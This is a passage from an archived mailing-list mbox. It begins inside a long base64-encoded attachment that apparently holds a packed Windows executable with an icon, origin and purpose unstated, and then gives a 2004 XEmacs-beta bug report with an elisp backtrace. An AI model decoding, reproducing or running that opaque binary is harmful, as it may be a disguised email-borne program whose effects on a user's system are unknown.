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 REVVUlIiIiNEiIiIREmZRESZlFJSIiIjRERERERElURESVRSUiIiI0SIiIiIRElVVVlUUlIi IiNEREREREREmZmZVFJSIiIjRIiIiIiIRElUSVRSUiIiI0RERERERERElUlUUlIiIiNEiIiI iIiIRElZVFJSIiIjREREREREREREmVRSUiIiI0SIiIiIiIiIRElEUlIiIiNERERERERERERE RFJSIiIjRIiIiIiIiIiIiERSUiIiI0REREREREREREREUlIiIiNEiIiIiIiIiIiIRFJSIiIj RERERERERERERERSUiIiI0QiIiIiRIiIiIhEUlIiIiNEOZJEQkRERERERFJSIiIjRDIiIiJE iIiIiERSUiIiI0Q0QndyREREREREUlIiIiNEMiJ3ckSIiIiIRFJSIiIjRDRCd3JERERERERS UiIiI0Q0QmZiREREREREUlIiIiNENEJmYkRERERERFJSIiIjRDMyIiJERERERERSUiIiI0RE REREREREREREUlIiIiNCRCRCRCRCRCRCRDJSIiIjQkQkQkQkQkQkQkQyUiIiIiQzQzQzQzQz QzQzQyIiIiIiIiIiIiIiIiIiIiIiIuAAAA/gAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH 4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AA AAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB/gAAA//////oRzoMEABacD9QwPA BcM4niYooxADwfgQJf9/hwDDi0QkVQQS6VXs7FEHU1ZXM/8xiX381BUcYCAoi/BoyMA3D7dF CFBkViYYIdhTkRUUMlAOECE7x4mKPHQqFhEMDVdogKzAagLxsBIRQP91bAyKNAiIg/j7v1QB dQQzwOtB0Ns7A/d2GOhh/xwCmbkbAVLx+YuAjDAUA0M73h5y6I3M/FfhdWwIfXgEii4JEWd6 ObH8D5TYX14pW8myHIGMZAx8VnC+YAQMV42FnG/zoqZQamApFSysDT0oDYgs4PtOjNcUvEb3 AIB9/lyLNSTFPb/gReF0CiIlVwXWIQpo0LAvHYC93IlcoUI8ICH+NeGhORA0YTAJamXoMrv+ EFmTP70Kg1COyiaRIEGwBq9yRAhq2wUoxEaj5B/IFjyJPbcjLXRTFDTobEV2dSLGAxU4NXxQ UVoSCXVYloUSwHQFVE0TRhUjNBEUdRkPagHnMEgSAvTQkDEwwhAAtDgwQDKQCXQkEENVJ2yX zo5pz20KYQifdo9lIO9F727vY+9y73nscCtl/GTPJlftbyObTEQN1i/lFhTNMGJKnwpT2WtZ TrMnXC7zQ/NadjOoMXAq/8OFPDVkpy64Uw7KRoGfZ5loFXP5QlSRDoRrGQN1+GVy9m8AbmZp Zzl4LmRxbOEQQklOGEFSWRBGVgNQcm90ZWObLqN4tjFgXAAA4AHgAuAg4hDOEQQN6Ba+EX2k Dnsog0YiAYwoCRCJIBZJiRTAwp8BFYADbwgUB5ACZhPAAtAQCXBV/wO8CFIHQQIGEwqOQigB dwFscBAon9EECBB5mYP0RPf9JhAihBDi947QAhCckU+9GAjwqwEZ0g+PA4BceMBUB7ADrQRS AzjqrwAAAeAgcEAOS0VSTmBMMzIuZHFs4EbobwZzZUhhbhjtwFpyPml0OkZuFb6/KWELHEEd Vp96R29mUudzUXVyY582Tzqpaw1iYWQWEElpbrZueko9dE2+ZClsXbMiRvFweUlSm+R0RkTA JFfBa293c0TfPuRj+ep5pTmgLRROYW1MhlBy8PJk45xMc2p2H0xpYjtTLz5UUJNDz+5uNA0Y TGG8RXLcXOvFjE11CHjMTgMAAAAAAAAAAAAAAAAA ------=_NextPart_000_001B_01C0CA80.6B015D10-- From xemacs-beta-admin@xemacs.org Fri Apr 30 17:30:20 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3ULU4s21042; Fri, 30 Apr 2004 17:30:04 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3ULT5o20103 for xemacs-beta-mailman@xemacs.org; Fri, 30 Apr 2004 17:29:05 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3ULT4d20077 for turnbull@tux.org; Fri, 30 Apr 2004 17:29:04 -0400 Received: from web50804.mail.yahoo.com (web50804.mail.yahoo.com [206.190.38.113]) by gwyn.tux.org (8.11.6p2/8.9.1) with SMTP id i3ULT3s20070 for ; Fri, 30 Apr 2004 17:29:03 -0400 Message-ID: <20040430212902.10559.qmail@web50804.mail.yahoo.com> Received: from [144.189.40.223] by web50804.mail.yahoo.com via HTTP; Fri, 30 Apr 2004 14:29:02 PDT Date: Fri, 30 Apr 2004 14:29:02 -0700 (PDT) From: Fred DeCaro Subject: fontifying region ...(wrong-type-argument nil) To: xemacs-beta@xemacs.org MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , Get this error: fontifying region ...(wrong-type-argument nil) a lot. I am using XEmacs 21.4 with Cygwin on a PC. Below is backtrace: Signaling: (error "Not over a window.") signal(error ("Not over a window.")) cerror("Not over a window.") apply(cerror "Not over a window." nil) error("Not over a window.") mouse-track(#) call-interactively(mouse-track) __________________________________ Do you Yahoo!? Win a $20,000 Career Makeover at Yahoo! HotJobs http://hotjobs.sweepstakes.yahoo.com/careermakeover